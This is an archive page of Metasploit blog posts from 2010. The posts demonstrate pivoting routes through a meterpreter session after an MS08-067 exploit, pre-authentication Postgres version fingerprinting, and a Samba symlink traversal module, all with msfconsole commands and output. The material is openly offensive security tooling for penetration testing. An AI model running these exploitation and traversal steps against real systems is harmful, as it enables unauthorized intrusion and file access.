Skip navigation
All Places > Metasploit > Blog > 2010 > February
2010

Originally Posted by egypt

 

 

Among the coolest features in metasploit is the ability to pivot through a meterpreter session to the network on the other side.  The route command in msfconsole sets this up but requires a bit of typing to get right. 

 

 


[*] Meterpreter session 1 opened (10.1.1.1:4444 -> 10.1.1.128:1238)

meterpreter > run get_local_subnets
Local subnet: 10.1.1.0/255.255.255.0
meterpreter > background
msf exploit(ms08_067_netapi) > route add 10.1.1.0 255.255.255.0 1
msf exploit(ms08_067_netapi) > route print

Active Routing Table
====================

   Subnet             Netmask            Gateway
   ------             -------            -------
   10.1.1.0           255.255.255.0      Session 1

msf exploit(ms08_067_netapi) >

 

 

After running the above commands any traffic sent to addresses in the 10.1.1.0 network will be tunnelled through the session.  As part of my Blackhat DC presentation last week, I demo'd a plugin that automatically adds a route for any previously-unseen subnets when a new session opens up.  Here is some example usage and output:

 

 


msf exploit(ms08_067_netapi) > load auto_add_route
[*] Successfully loaded plugin: auto_add_route
msf exploit(ms08_067_netapi) > exploit

[*] Started reverse handler on 10.1.1.1:4444
[*] Automatically detecting the target...
[*] Fingerprint: Windows XP Service Pack 3 - lang:English
[*] Selected Target: Windows XP SP3 English (NX)
[*] Triggering the vulnerability...
[*] Sending stage (725504 bytes)
[*] Meterpreter session 1 opened (10.1.1.1:4444 -> 10.1.1.128:1239)
[*] AutoAddRoute: Routing new subnet 10.1.1.0/255.255.255.0 through session 1

meterpreter > background
msf exploit(ms08_067_netapi) > route print

Active Routing Table
====================

   Subnet             Netmask            Gateway
   ------             -------            -------
   10.1.1.0           255.255.255.0      Session 1

msf exploit(ms08_067_netapi) >

 

 

The auto_add_route plugin is now available in the metasploit trunk; 'svn up' to get it.

Postgres Fingerprinting

Posted by rapid7-admin Feb 5, 2010

Originally Posted by todb

 

 

Many database servers helpfully provide version number, platform, and other salient details to just about anyone who asks, authenticated or not, which makes fingerprinting these applications a snap. However, Postgres is a little more coquettish about revealing such personal information about itself to just anyone. The best way to determine Postgres' version is to log in and just ask with a "select version()" query, but what if you don't (yet) have credentials?

 

Lucky for unauthenticated types, it turns out that Postgres is pretty forthcoming in its authentication failure messages. Take this example response to a failed login attempt:


0000   45 00 00 00 61 53 46 41 54 41 4c 00 43 32 38 30  E...aSFATAL.C280
0010   30 30 00 4d 70 61 73 73 77 6f 72 64 20 61 75 74  00.Mpassword aut
0020   68 65 6e 74 69 63 61 74 69 6f 6e 20 66 61 69 6c  hentication fail
0030   65 64 20 66 6f 72 20 75 73 65 72 20 22 70 6f 73  ed for user "pos
0040   74 67 72 65 73 22 00 46 61 75 74 68 2e 63 00 4c  tgres".Fauth.c.L
0050   32 37 33 00 52 61 75 74 68 5f 66 61 69 6c 65 64  273.Rauth_failed
0060   00 00                                            ..


This tells us that an error (E) was encountered related to the source file (F) auth.c, on line (L) 273, in the routine (R) auth_failed. From here, it's pretty easy to guess what happens when Postgres has a new release -- usually, things like line counts tend to change. That means we can use this error code as a handy fingerprint for pretty much every minor version release of Postgres: The above comes from version 8.4.2, but on 8.4.1, the line number is 258, it's 1017 in 8.3.9, et cetera. These differences go back at least as far as Postgres 7.4.

 

Metasploit (as of this morning) now supports Postgres enumeration using this technique. Check it out with a quick update. The module looks something like this:

 

msf auxiliary(postgres_version) > set verbose true
verbose => true
msf auxiliary(postgres_version) > run

 

[*] 192.168.145.50:5432 Postgres - Trying username:'postgres' with password:'?dsx)S' against 192.168.145.50:5432 on database 'template1'
[+] 192.168.145.50:5432 Postgres - Version 8.4.2 (Pre-Auth)
[*] 192.168.145.50:5432 Postgres - Disconnected
[*] Scanned 1 of 1 hosts (100% complete)
[*] Auxiliary module execution completed

 

As mentioned at the top, if you do happen to have login credentials, you can always use those instead:

 

msf auxiliary(postgres_version) > set username scott
username => scott
msf auxiliary(postgres_version) > set password tiger
password => tiger
msf auxiliary(postgres_version) > run

 

[*] 192.168.145.50:5432 Postgres - Trying username:'scott' with password:'tiger' against 192.168.145.50:5432 on database 'template1'
[*] 192.168.145.50:5432 Postgres - querying with 'select version()'
[+] 192.168.145.50:5432 Postgres - Command complete.
[+] 192.168.145.50:5432 Postgres - Logged in to 'template1' with 'scott':'tiger'
[+] 192.168.145.50:5432 Postgres - Version 8.4.2 (Post-Auth)
[*] 192.168.145.50:5432 Postgres - Disconnected
[*] Scanned 1 of 1 hosts (100% complete)
[*] Auxiliary module execution completed

 

We've collected a few signatures so far; we can reliably identify pretty much all of the straight Linux builds of Postgres from 7.4.26 through 8.4.2, as well as the latest Windows build. So, in the event you run into a version/platform combination of Postgres that we haven't accounted for yet, the module will display and log the relevant signature data for an easy copy-paste. Feel free to let us know about it so we can package it up. In the meantime, I'm off to hunt down some more Postgres installs.

Originally Posted by hdm

 

 

Last night, Kingcope uploaded a video to youtube demonstrating a logic flaw in the Samba CIFS service (this was followed by a mailing list post). This bug allows any user with write access to a file share to create a symbolic link to the root filesystem. From this link, the user can access any file on the system with their current privileges. This affects any Samba service that allows anonymous write access, however read access to the filesystem is limited by normal user-level privileges. In most cases, anonymous users are limited to the 'nobody' account, limiting the damage possible through this exploit.

 

A Metasploit auxiliary module has been added to verify and test this vulnerability. Update to SVN revision 8369 or newer and start up the Metasploit Console:

 

$ msfconsole
msf > use auxiliary/admin/smb/samba_symlink_traversal

 

msf auxiliary(samba_symlink_traversal) > set RHOST 192.168.0.2

 

msf auxiliary(samba_symlink_traversal) > set SMBSHARE shared

 

msf auxiliary(samba_symlink_traversal) > set SMBTARGET rooted

 

msf auxiliary(samba_symlink_traversal) > run

 

[*] Connecting to the server...
[*] Trying to mount writeable share 'shared'...
[*] Trying to link 'rooted' to the root filesystem...
[*] Now access the following share to browse the root filesystem:
[*]  \\192.168.0.2\shared\rooted\

 


Keep in mind that non-anonymous shares can be used as well, just enter SMBUser and SMBPass for a valid user account.

Filter Blog

By date: By tag: